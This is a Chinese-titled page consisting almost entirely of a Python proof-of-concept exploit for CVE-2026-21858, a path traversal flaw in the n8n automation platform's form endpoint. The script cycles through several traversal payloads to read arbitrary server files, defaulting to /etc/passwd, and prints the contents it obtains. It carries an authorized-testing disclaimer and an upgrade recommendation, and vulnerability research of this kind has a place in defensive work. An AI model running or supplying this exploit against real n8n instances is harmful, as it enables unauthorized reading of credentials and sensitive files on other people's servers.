CVE-2026-21858 n8n工作流自动化平台敏感信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2026-21858 PoC - n8n Sensitive Information Disclosure This PoC demonstrates how to exploit the path traversal vulnerability in n8n to read arbitrary files from the server filesystem. Usage: python3 cve-2026-21858_poc.py --url http://target-n8n:5678 --workflow-id <id> --file /etc/passwd Note: This is for educational and authorized testing purposes only. """ import argparse import requests import urllib.parse import json import sys def exploit_path_traversal(base_url, workflow_id, target_file): """ Attempt to exploit the path traversal vulnerability in n8n forms. Args: base_url: Base URL of the n8n instance workflow_id: ID of a vulnerable form-based workflow target_file: Path to the file to read (e.g., /etc/passwd) """ # Construct the form submission endpoint form_endpoint = f"{base_url.rstrip('/')}/form/{workflow_id}" # Common path traversal patterns traversal_patterns = [ target_file, f"../../../../..{target_file}", f"..%2F..%2F..%2F..%2F{target_file.lstrip('/').replace('/', '%2F')}", f"....//....//....//....//{target_file.lstrip('/')}", f"..\..\..\..\{target_file}" ] print(f"[*] Target: {form_endpoint}") print(f"[*] Attempting to read: {target_file}") print("-" * 60) for i, payload in enumerate(traversal_patterns, 1): print(f"\n[*] Attempt {i} with payload: {payload}") # Construct the form data # The exact structure depends on the specific vulnerable workflow form_data = { "data": { "filePath": payload, "operation": "read" } } try: response = requests.post( form_endpoint, json=form_data, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" }, timeout=10, verify=False ) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: try: result = response.json() if result.get('success') or 'data' in result: print("[+] VULNERABLE! File content retrieved:") print("-" * 40) print(result.get('data', result)) return True except json.JSONDecodeError: if len(response.text) > 0: print("[+] Potential file content found:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] Exploitation attempts completed. Target may not be vulnerable.") return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-21858 PoC - n8n Path Traversal' ) parser.add_argument('--url', required=True, help='Base URL of n8n instance') parser.add_argument('--workflow-id', required=True, help='ID of form workflow') parser.add_argument('--file', default='/etc/passwd', help='File path to read') args = parser.parse_args() success = exploit_path_traversal(args.url, args.workflow_id, args.file) if success: print("\n[!] Target is vulnerable to CVE-2026-21858") print("[!] Recommended action: Upgrade to n8n >= 1.121.0") sys.exit(0) else: print("\n[-] Target does not appear to be vulnerable") sys.exit(1) if __name__ == '__main__': main()